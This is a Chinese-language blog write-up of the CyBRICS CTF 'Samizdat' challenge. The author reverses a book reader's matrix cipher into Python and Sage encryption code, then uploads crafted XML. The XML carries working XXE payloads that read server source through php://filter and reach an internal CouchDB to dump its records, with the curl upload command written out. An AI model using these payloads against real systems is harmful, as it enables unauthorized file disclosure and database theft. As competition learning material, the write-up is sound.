Rmb122's Notebook
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CyBRICS CTF Samizdat Writeup

发表于 阅读次数： Valine：

这题是在比赛结束后才做出来的, 比较可惜, 但是题目本身还是比较有意思的, 所以写个 Writeup.
(早知道早点起床做题了

首先打开来可以下载

  • 阅读器
  • guide.txt
  • 两本加密过的书

其中阅读器能解密书, 但是只能读前 100 页, 接下来自然是 IDA F5 伺候一下阅读器, 

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if ( (unsigned int)decrypt((unsigned __int8 *)ptr, n, &v11, &v12) )
    {
      v9 = std::operator<<<std::char_traits<char>>(&_bss_start, "Failed to decrypt book");
      std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
    }
    else
    {
      v7 = decompress_book(v11, v12, &v14, &v13);
      free(ptr);
      if ( v7 )
      {
        v8 = std::operator<<<std::char_traits<char>>(&_bss_start, "Failed to decompress book");
        std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
        return 1;
      }
      read_book(v14, v3, v13);
    }

发现其实就是解密 + zlib 解压缩, 然后小说本体保存形式是 xml, 用 libxml 来解析.

接下来逆向解密算法, 发现在 decrypt 里面调用了 decrypt_block, 实际上是分块密码, 每 16 字节分块解密, 而 decrypt_block 的实现如下 

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ptr = malloc(0x10uLL);
  for ( i = 0; i <= 15; ++i )
  {
    for ( j = 0; j <= 15; ++j )
    {
      v1 = 0;
      for ( k = 0; k <= 15; ++k )
        v1 += Mminus[16 * k + j] * a1[k];
      ptr[j] = v1;
    }
    for ( l = 0; l <= 15; ++l )
      a1[l] = ptr[(unsigned __int8)Pminus[l]];
  }
  free(ptr);

转成 python 代码可能更容易看懂, 其中 Mminus 是大小 256 的数组, Pminus 是大小 16 的数组, 

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def decrypt_block(block):
    block = bytearray(block)
    ptr = [0 for i in range(16)]
    for i in range(16):
        for j in range(16):
            t = 0
            for k in range(16):
                t += Mminus[16 * k + j] * block[k]
            ptr[j] = t % 256
        for l in range(16):
            block[l] = ptr[Pminus[l]]
    return block

学过线性代数可以看出, 其实就是算了个矩阵乘法, 然后置换一下, Mminus 就是个 16 * 16 的矩阵.

搞懂之后就可以写算法解密了, 

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Mminus = [
    135, 25, 77, 128, 251, 9, 168, 169, 158, 82, 7, 213, 229, 180, 50, 53, 172,
    215, 32, 243, 113, 44, 134, 5, 22, 41, 89, 130, 171, 42, 81, 122, 38, 36,
    125, 25, 127, 38, 246, 241, 34, 33, 153, 238, 105, 228, 82, 86, 43, 81,
    161, 104, 26, 102, 238, 143, 134, 142, 221, 135, 141, 241, 71, 237, 153,
    159, 65, 0, 231, 133, 139, 200, 78, 53, 197, 62, 167, 79, 221, 92, 164,
    120, 15, 48, 121, 90, 62, 163, 231, 118, 173, 36, 125, 92, 123, 165, 5,
    106, 129, 156, 145, 228, 50, 99, 209, 164, 50, 115, 230, 125, 17, 76, 208,
    67, 38, 0, 246, 90, 54, 107, 115, 172, 92, 153, 102, 32, 1, 21, 80, 145,
    209, 176, 31, 250, 68, 90, 243, 94, 112, 161, 234, 223, 204, 79, 209, 222,
    16, 77, 188, 221, 125, 90, 112, 10, 80, 103, 77, 99, 139, 178, 137, 128,
    192, 57, 24, 243, 125, 252, 140, 90, 250, 132, 220, 194, 154, 121, 114, 55,
    27, 129, 61, 196, 244, 42, 191, 242, 188, 254, 166, 59, 232, 94, 237, 209,
    192, 58, 47, 238, 147, 6, 244, 230, 134, 184, 235, 16, 53, 81, 121, 248,
    117, 158, 17, 87, 247, 205, 16, 129, 123, 255, 3, 89, 11, 98, 58, 125, 181,
    236, 40, 99, 141, 232, 115, 85, 100, 205, 190, 84, 226, 217, 214, 115, 62,
    216, 239, 44, 111, 69, 135, 142, 248, 240, 180, 157, 41, 105
]
Pminus = [
    '\f', '\x0F', '\x0E', '\b', '\x03', '\v', '\r', '\0', '\a', '\t', '\n',
    '\x06', '\x02', '\x01', '\x05', '\x04'
]

import zlib

for seq, c in enumerate(Pminus):
    Pminus[seq] = ord(c)

f = open('3ba9318b509034cb7b506df0faef4d80.fb2enc', 'rb').read()
#f = open('6506dad64d2353f25cca891f81443a8e.fb2enc', 'rb').read()
def decrypt_block(block):
    block = bytearray(block)
    ptr = {}
    for i in range(16):
        for j in range(16):
            t = 0
            for k in range(16):
                t += Mminus[16 * k + j] * block[k]
            ptr[j] = t % 256
        for l in range(16):
            block[l] = ptr[Pminus[l]]
    return block

book = bytearray()

for i in range(0, len(f), 16):
    book.extend(decrypt_block(f[i:i + 16]))

dec = zlib.decompress(bytes(book))
open('output2.xml', 'wb').write(dec)

然后解密给的两本书, 发现里面真的就是两本小说 (
而且正文都是西里尔字母, 也看不懂 233

接下来的目标应该不是这两本小说, 再回到网站.
访问 robots.txt, 发现给了提示 

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User-agent: *
Disallow: /authorszone

在 http://45.77.219.97/authorszone 里面是上传书的地方, 而且只能上传加密过后的书.
再结合之前书的本体是 xml, 那么可以想到是 XXE 了.
接下来是写出加密算法, 实际上就是矩阵方程求解, 因为是 mod 256 整数环上的矩阵, 直接用 sage 来算了.

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# This file was *autogenerated* from the file matrix.sage
from sage.all_cmdline import *   # import sage library

_sage_const_256 = Integer(256)

def get_solve(y):
    mat = [[135, 172, 38, 43, 153, 164, 5, 208, 80, 209, 137, 114, 237, 121, 58, 214], [25, 215, 36, 81, 159, 120, 106, 67, 145, 222, 128, 55, 209, 248, 125, 115], [77, 32, 125, 161, 65, 15, 129, 38, 209, 16, 192, 27, 192, 117, 181, 62], [128, 243, 25, 104, 0, 48, 156, 0, 176, 77, 57, 129, 58, 158, 236, 216], [251, 113, 127, 26, 231, 121, 145, 246, 31, 188, 24, 61, 47, 17, 40, 239], [9, 44, 38, 102, 133, 90, 228, 90, 250, 221, 243, 196, 238, 87, 99, 44], [168, 134, 246, 238, 139, 62, 50, 54, 68, 125, 125, 244, 147, 247, 141, 111], [169, 5, 241, 143, 200, 163, 99, 107, 90, 90, 252, 42, 6, 205, 232, 69], [158, 22, 34, 134, 78, 231, 209, 115, 243, 112, 140, 191, 244, 16, 115, 135], [82, 41, 33, 142, 53, 118, 164, 172, 94, 10, 90, 242, 230, 129, 85, 142], [7, 89, 153, 221, 197, 173, 50, 92, 112, 80, 250, 188, 134, 123, 100, 248], [213, 130, 238, 135, 62, 36, 115, 153, 161, 103, 132, 254, 184, 255, 205, 240], [229, 171, 105, 141, 167, 125, 230, 102, 234, 77, 220, 166, 235, 3, 190, 180], [180, 42, 228, 241, 79, 92, 125, 32, 223, 99, 194, 59, 16, 89, 84, 157], [50, 81, 82, 71, 221, 123, 17, 1, 204, 139, 154, 232, 53, 11, 226, 41], [53, 122, 86, 237, 92, 165, 76, 21, 79, 178, 121, 94, 81, 98, 217, 105]]
    R = IntegerModRing(_sage_const_256 )
    y = vector(R, y)
    mat = matrix(R, mat)
    ret = mat.solve_right(y)
    return ret


Mminus = [
    135, 25, 77, 128, 251, 9, 168, 169, 158, 82, 7, 213, 229, 180, 50, 53, 172,
    215, 32, 243, 113, 44, 134, 5, 22, 41, 89, 130, 171, 42, 81, 122, 38, 36,
    125, 25, 127, 38, 246, 241, 34, 33, 153, 238, 105, 228, 82, 86, 43, 81,
    161, 104, 26, 102, 238, 143, 134, 142, 221, 135, 141, 241, 71, 237, 153,
    159, 65, 0, 231, 133, 139, 200, 78, 53, 197, 62, 167, 79, 221, 92, 164,
    120, 15, 48, 121, 90, 62, 163, 231, 118, 173, 36, 125, 92, 123, 165, 5,
    106, 129, 156, 145, 228, 50, 99, 209, 164, 50, 115, 230, 125, 17, 76, 208,
    67, 38, 0, 246, 90, 54, 107, 115, 172, 92, 153, 102, 32, 1, 21, 80, 145,
    209, 176, 31, 250, 68, 90, 243, 94, 112, 161, 234, 223, 204, 79, 209, 222,
    16, 77, 188, 221, 125, 90, 112, 10, 80, 103, 77, 99, 139, 178, 137, 128,
    192, 57, 24, 243, 125, 252, 140, 90, 250, 132, 220, 194, 154, 121, 114, 55,
    27, 129, 61, 196, 244, 42, 191, 242, 188, 254, 166, 59, 232, 94, 237, 209,
    192, 58, 47, 238, 147, 6, 244, 230, 134, 184, 235, 16, 53, 81, 121, 248,
    117, 158, 17, 87, 247, 205, 16, 129, 123, 255, 3, 89, 11, 98, 58, 125, 181,
    236, 40, 99, 141, 232, 115, 85, 100, 205, 190, 84, 226, 217, 214, 115, 62,
    216, 239, 44, 111, 69, 135, 142, 248, 240, 180, 157, 41, 105
]
Pminus = [
    '\f', '\x0F', '\x0E', '\b', '\x03', '\v', '\r', '\0', '\a', '\t', '\n',
    '\x06', '\x02', '\x01', '\x05', '\x04'
]
rPminus = []

for seq, c in enumerate(Pminus):
    Pminus[seq] = ord(c)

for i in range(16):
    rPminus.append(Pminus.index(i))

import zlib

def encrypt_block(block):
    block = bytearray(block)
    
    for i in range(16):
        tmp = bytearray([0 for i in range(16)])
        for l in range(16):
            tmp[l] = block[rPminus[l]]
        block = tmp
        block = get_solve(list(block))
    return bytearray(block)

def encrypt(data):
    data = zlib.compress(data)
    data = bytearray(data)
    pad = 16 - len(data) % 16
    data.extend([pad for _ in range(pad)])
    
    enc = bytearray()
    for i in range(0, len(data), 16):
        enc.extend(encrypt_block(data[i:i + 16]))
    return enc

r = encrypt(open('evil.xml').read())
open('evil.fb2enc', 'w').write(r)

接下来构造恶意 xml 并加密上传, 这个可以把正文给删了, 节省加密时间

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<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/proc/self/cwd/index.php" >]>
<FictionBook xmlns:l="http://www.w3.org/1999/xlink" xmlns="http://www.gribuser.ru/xml/fictionbook/2.0">
    <description>

        <title-info>
            <genre>fiction</genre>
            <author>
                <first-name>Антуан</first-name>
                <middle-name>де Сент</middle-name>
                <last-name>Экзюпери</last-name>
            </author>
            <book-title>Маленький Принц</book-title>

            <annotation>
                123
            </annotation>
            <date>&xxe;</date>
            <coverpage>
                <image l:href="#cover.jpg" />
            </coverpage>
            <lang>ru</lang>
            <src-lang>fr</src-lang>
            <translator>
                <first-name>Нора</first-name>
                <last-name>Галь</last-name>
                <home-page>http://www.vavilon.ru/noragal/content.html</home-page>
            </translator>
        </title-info>

        <document-info>
            <author>
                <first-name>Дмитрий</first-name>
                <middle-name>Петрович</middle-name>
                <last-name>Грибов</last-name>
                <email>grib@gribuser.ru</email>
            </author>
            <author>
                <first-name>Faiber</first-name>
                <last-name />
                <email>faiber@yandex.ru</email>
            </author>

            <program-used>FB Tools</program-used>
            <date>2006-01-14</date>
            <src-url>http://www.vavilon.ru/noragal/pp/</src-url>
            <src-ocr>Справочная Служба Русского Языка</src-ocr>
            <id>0CB33702-6AE9-4377-9AFA-3BA2EF2F37F6</id>
            <version>1.2</version>
            <history>
                <p>v 1.1 — дополнительное форматирование — Faiber</p>

                <p>v 1.2 — изменена обложка — Faiber</p>

            </history>
        </document-info>
        <publish-info>
            <book-name>Маленький Принц</book-name>
            <city>Фрунзе</city>
            <year>1982</year>
        </publish-info>
        <custom-info info-type="general" />
    </description>

    <body>
        <title>
            <p>Антуан де Сент-Экзюпери</p>

            <empty-line />
            <p>Маленький принц</p>

        </title>
        <section>
            123
        </section>
        
    </body>
</FictionBook>

然后利用 xxe, 就能读文件了, 这里各种尝试, fuzz 出来 /proc/self/cwd/index.php, 可以直接读到源码.

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<?php
error_reporting(E_ALL);
    function save2db($data) {
        $headers = array(
            "Content-type: application/json",
        );
        
        $data = json_encode($data);
            
        $myCurl = curl_init();
        curl_setopt_array($myCurl, array(
            CURLOPT_URL => 'http://127.0.0.1:5984/library',
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HTTPHEADER => $headers,
            CURLOPT_ENCODING => 'gzip,deflate',
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $data
        ));
        $response = curl_exec($myCurl);
        curl_close($myCurl);
        return $response;
    }

    function process($xmlfile) {
        libxml_disable_entity_loader (false);

        $dom = new DOMDocument();
        $dom->loadXML($xmlfile, LIBXML_NOENT);
        $creds = simplexml_import_dom($dom);

        if (!isset($creds->description)) {
            return "Description not found";
        }
        if (!isset($creds->description->{'title-info'})) {
            return "Title info not found";
        }

        $titleinfo = $creds->description->{'title-info'};
        foreach (['genre', 'author', 'book-title', 'annotation', 'date', 'lang'] as $item) {
            if (!property_exists($titleinfo, $item)) {
                return $item . " not found";
            }
        }

        save2db(['title' => base64_encode($titleinfo->{'book-title'}), 'date' => $titleinfo->{'date'}, 'url' => bin2hex(random_bytes(16))]);

        return $titleinfo;
    }

    $results = "";

    if (isset($_FILES["newbook"])) {

        if ($_FILES['newbook']['error'] == UPLOAD_ERR_OK
            && is_uploaded_file($_FILES['newbook']['tmp_name'])
        ) {

            $name = $_FILES['newbook']['tmp_name'];
            exec("/var/www/main d " . $name . " " . $name . ".decoded");

            if (!is_file($name . ".decoded")) {
                echo "Decoding ERROR";
            }
            else {
                $data = file_get_contents($name . ".decoded");
                $data = gzuncompress($data);
                $results = process($data);
            }

        }

    }
?>

<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <title>New CyBRICS BookStore</title>

    <!-- Bootstrap core CSS -->
    <link href="../css/bootstrap.min.css" rel="stylesheet">

</head>

<body>

<div class="d-flex flex-column flex-md-row align-items-center p-3 px-md-4 mb-3 bg-white border-bottom box-shadow">
    <h5 class="my-0 mr-md-auto font-weight-normal">CyBRICS BookStore</h5>
    <nav class="my-2 my-md-0 mr-md-3">
        <a class="p-2 text-dark" href="#">Authors zone</a>
    </nav>
    <a class="btn btn-outline-primary" href="#">Sign up</a>
</div>

<div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
    <h1 class="display-4">Authors zone</h1>
    <p class="lead">Our site is under development, but you already can <a href="">download DRM</a> and demo books</p>
</div>

<div class="container">

    <div>
        <h2>You can add your book</h2>
        <div><small>* You will be further informed about review results</small></div>
        <div>
            <form enctype="multipart/form-data" action="/authorszone/index.php" method="POST">
                <input type="file" name="newbook">
                <input type="submit" value="Submit for review">
            </form>
        </div>
        <div style="margin-top: 10px">
            <table class="table table-striped">
            <?php
                if (is_object($results)) {
                    echo "<h2>Book is under review:</h2>";
                    foreach (['genre', 'author', 'book-title', 'annotation', 'date', 'lang'] as $item) {
                        echo "<tr><td>".$item."</td><td>".$results->{$item}->asXML()."</td></tr>";
                    }
                } else {
                    echo $results;
                }
            ?>
            </table>
        </div>
    </div>

    <footer class="pt-4 my-md-5 pt-md-5 border-top">
        <div class="row">
            <div class="col-12 col-md">
                <img class="mb-2" src="https://getbootstrap.com/assets/brand/bootstrap-solid.svg" alt="" width="24" height="24">
                <small class="d-block mb-3 text-muted">&copy; 2018</small>
            </div>
        </div>
    </footer>
</div>


<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
</body>
</html>

可以看到为了绕过 libxml 自带的安全措施, 出题人也是煞费苦心 233.
在源码里面可以发现用了 couchdb, 好在支持 http 协议, 我们通过 http 访问 couchdb 的各种 API.
翻了翻文档, 可以发现用

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<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:5984/library/_changes?include_docs=true" >]>

就能直接脱裤 (比较大, 浏览器会卡死, 建议直接 curl 脱 

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curl 'http://45.77.219.97/authorszone/index.php' -H 'Cache-Control: max-age=0' -H 'Origin: http://45.77.219.97' -H 'Upgrade-Insecure-Requests: 1' -H 'DNT: 1'  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3' -H 'Referer: http://45.77.219.97/authorszone/index.php' -F 'newbook=@evil.fb2enc' --compressed --insecure -vv -o asd2.html

得到 

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3
{"seq":1,"id":"648ed731593e7c015c96df3f21000a2b","changes":[{"rev":"1-d8bf4bb75eae1dd6117c8a59b952e27e"}],"doc":{"_id":"648ed731593e7c015c96df3f21000a2b","_rev":"1-d8bf4bb75eae1dd6117c8a59b952e27e","title":"Mona Lisa Overdrive","url":"4cb21fe9786c74f0b83f1fa808e30e4d"}},
{"seq":2,"id":"648ed731593e7c015c96df3f21000ac6","changes":[{"rev":"1-4802d0cdd11425ffcc9500b5f5db9a56"}],"doc":{"_id":"648ed731593e7c015c96df3f21000ac6","_rev":"1-4802d0cdd11425ffcc9500b5f5db9a56","title":"Small Prince","url":"6506dad64d2353f25cca891f81443a8e"}},
{"seq":3,"id":"648ed731593e7c015c96df3f21000ba3","changes":[{"rev":"1-094bdefdba07bc63ae11584c79c51909"}],"doc":{"_id":"648ed731593e7c015c96df3f21000ba3","_rev":"1-094bdefdba07bc63ae11584c79c51909","title":"Flag Book","url":"3ba9318b509034cb7b506df0faef4d80"}},

结合 url 的参数, 在 http://45.77.219.97/books/3ba9318b509034cb7b506df0faef4d80.fb2enc 就能下到 Flag Book 啦.
解密一下, 然后就可以找到在里面的 flag 一枚